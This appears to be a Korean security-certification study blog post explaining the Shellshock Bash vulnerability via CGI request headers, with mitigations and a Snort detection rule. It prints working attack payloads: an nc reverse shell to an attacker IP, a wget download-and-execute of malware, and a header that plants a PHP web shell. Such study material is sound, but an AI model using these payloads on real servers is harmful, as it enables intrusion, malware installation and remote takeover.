개요
- 취약한 버전의 bash는 환경변수의 함수 선언문 뒤에 임의의 명령어를 삽입할 경우, 환경변수에 설정된 함수 선언 시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점이 있음. 이것을 GNU Bash 또는 ShellShock 취약점이라고 함
CGI를 이용한 Bash 취약점 공격유형
공격원리
- CGI는 User-Agent 같은 요청 헤더정보를 쉘의 환경변수에 저장함. 공격자가 헤더정보에 함수와 명령어를 추가하여 전송하면 해당 명령어가 실행되는 취약점 발생
리버스 쉘 연결 유형
<"/dev/tcp" 특수파일을 이용한 리버스쉘 연결> |
GET /cgi-bin/bash_vul.cgi HTTP1.1 |
1) /dev/tcp/목적지IP/목적지 Port 형식은 TCP 클라이언트 소켓을 생성하는 파일. 따라서 공격자 10.10.10.10의 리스닝 포트 8081포트로 접속하는 TCP 클라이언트 소켓이 생성됨 |
<"nc(netcat)" 프로그램을 이용한 리버스쉘 연결> |
GET /cgi-bin/bash_vul.cgi HTTP1.1 User-Agent:(){ :; };/usr/bin/nc 10.10.10,10 8081 -e /bin/sh |
1) 공격자(10.10.10.10)는 nc 프로그램을 이용하여 포트 8081을 열어놓고 희생자 서버에서 공격자 PC로 리버스쉘이 연결되도록 대기 2) 연결 설정이 완료되면 공격자는 희생자 서버의 shell을 획득하고 원하는 시스템 명령을 실행할 수 있음 |
악성코드 다운로드 유형
Accept-Encoding: (){ :; }; /bin/bash -c "/usr/bin/wget -O /tmp/xyz http://10.10.10.10/malware; /bin/chmod 777 /tmp/xyz; /tmp/xyz; /bin/rm -f /tmp/xyz" |
악성코드 유포지로부터 malware 다운로드받아 실행 시킨 후 실행 파일을 삭제함 /bin/bash -c "문자열" : 문자열의 내용을 명령어로 해석하여 bash로 실행시키는 구문 |
WebShell 생성 유형
GET /cgi-bin/bash_vul.cgi HTTP1.1 User-Agent:(){ :; };echo "<? \$cmd=\$_REQUEST[\"cmd\"]; if(\cmd != \"\"){print shell_exec(\$cmd);} ?>" > ..html/x.php |
1) 공격자는 User-Agent 헤더 필드에 함수문( () { :; } )과 명령문( echo "<?\$cmd=\$_REQUEST[\"cmd\"]; if(\cmd != \"\"){print shell_exec(\$cmd);} ?>" > ..html/x.php )을 삽입하여 해당 명령문이 실행되도록 하고 있다. 2) echo 명령의 문자열은 php 구문( "<?"로 시작해서 "?>"로 끝남)으로, 출력 리다이렉션(>)을 통해 x.php라는 파일로 저장하고 있음 3) x.php 파일은 php구문으로 만들어진 웹쉘파일. 외부에서 공격자가 cmd 파라미터에 명령어를 담아서 x.php를 요청할 경우, cmd 파라미터에 값이 있으면(빈값이 아니면) shell_exec() 함수를 이용하여 명령어를 실행하고 그 결과를 출력(print)하도록 하고 있음 |
대응방안
1) 취약한 버전의 bash일 경우 업데이트
2) CGI 서비스를 사용하지 않으면 중지시키거나, CGI 삭제
3) 네트워크 보안 장비(IDS/IPS/웹방화벽)에서 공격 시그너처(탐지룰)을 등록하여 차단
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS ("msg: "shell shock"; content:"() {"; http_header; sid:1000310;)
※ 참고
보안공지 | 자료실 - KISA 인터넷 보호나라&KrCERT
'정보보안기사&CISSP관련 > 침해사고 분석 및 대응' 카테고리의 다른 글
[Day 120] HeartBleed(하트블리드) 취약점 (0) | 2020.12.08 |
---|---|
[Day 115] DBD(Drive By Download) 공격 (0) | 2020.12.03 |
[Day 113] 워터링 홀(Watering Hole) 침해 사고 시나리오 (0) | 2020.12.01 |
[Day 109] 리버스 쉘(Reverse Shell) 침해 사고 시나리오 (0) | 2020.11.27 |
[Day 79] 침해사고 대응절차 7단계 (0) | 2020.10.28 |